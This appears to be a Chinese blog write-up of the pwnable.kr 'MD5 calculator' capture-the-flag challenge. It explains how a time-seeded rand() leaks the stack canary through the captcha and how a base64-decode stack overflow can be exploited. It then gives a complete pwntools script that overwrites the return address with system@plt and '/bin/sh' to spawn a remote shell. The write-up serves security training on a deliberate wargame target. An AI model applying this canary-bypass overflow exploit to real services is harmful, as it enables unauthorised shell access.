stack canary之pwnbale.kr MD5 calculator

We made a simple MD5 calculator as a network service.
Find a bug and exploit it to get a shell.

Download : http://pwnable.kr/bin/hash
hint : this service shares the same machine with pwnable.kr web service

Running at : nc pwnable.kr 9002

 

程序的执行:

main函数反汇编

上图中的地10行相当于获取当前的时间戳,并把它赋值给v3。第11行中把v3作为参数(随机数种子)传入到srand函数中,那么随后的调用rand函数的操作,都将会根据这个设置好了的随机数种子产生随机数。需要注意的是,一旦传入到srand函数中相同的seed,那么后续多次调用rand函数的时候,产生的随机数序列是相同的。

my_hash()函数反汇编

如上图,总共调用了8次rand函数。并且把他们保存在了栈中以v2作为起始地址的地方。这样以来,只要使用相同的时间戳作为随机数种子传入到srand函数中。那么就可以反推出v10的值。我们知道,main函数和其调用的子函数通过执行_readgsdword产生的canary是相同的。虽然canary是会经常发生变动的。

下面,可以重点分析一下process_hash函数


程序中总共有两个要求我们输入的地方。第一个地方在输入captcha,第二个地方输入的是经过base64编码之后的字符串。从上图第15行可知,程序会解码之后保存在栈中的那个被分配了512字节的地方。由于全局变量g_buf总共有1024字节,也就是说,结果base64编码之后的字符串的最大长度是1024。那么假设一个字符串长度为len,记过base64编码之后生成的字符串的长度为len/3*4。所以在结果base64编码之前,也就是说理论上我们可以输入到栈中的大小是:1024/4*3=768字节。因为栈中保存的是解码之后的,也就是相当于编码之前的字符串。所以我们可以进行栈泄露。但是由于存在canary保护,所以我们需要找到canary的具体值,然后在payload中的对应位置想入相同的canary,那么就可以骗过stack canary机制。

所以,构造的payload为:

payload = 'A'.encode('ascii') * 512 + p32(canary) + 'A'.encode('ascii') * 12 + p32(plt_system) + p32(0x0000000) + p32(0x0804B0E0 + 720) # 总共540个字节

其中0x0804B0E0是全局变量g_buf的地址。由于payload为540字节。540/3*4=720.所以字符串"/bin/sh\0"要存放与0x0804B0E0的地方。后面会作为system的参数被传入到system中。

from zio3 import p32
from pwn import *
# elf = ELF('./hash')
# plt_system = elf.plt['system']
plt_system = 0x08048880
p = remote('pwnable.kr',9002)
# p = process('./hash')
t = int(time.time())
print(p.recvline())
temp_recv = p.recvline()
print(temp_recv)
capcha = re.search(': [^\n]+', temp_recv.decode('ascii')).group(0)[2:]
print('capcha = ',capcha)
p.sendline(capcha)
print('output:',p.recvline())
print(p.recvline())
canary = '0x' + os.popen('./canary {} {}'.format(str(t), capcha)).read() # canary是一个C语言可执行程序
print('canary:',canary)
canary = int(canary, 16) # 十六进制的字符串转换为十进制的数字
payload = 'A'.encode('ascii') * 512 + p32(canary) + 'A'.encode('ascii') * 12 + p32(plt_system) + p32(0x0000000) + p32(0x0804B0E0 + 720) # 总共540个字节
print(len(b64e(payload)))
print(b64e(payload)+'/bin/sh\0')
p.sendline(b64e(payload) + '/bin/sh\0')
p.interactive()

 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值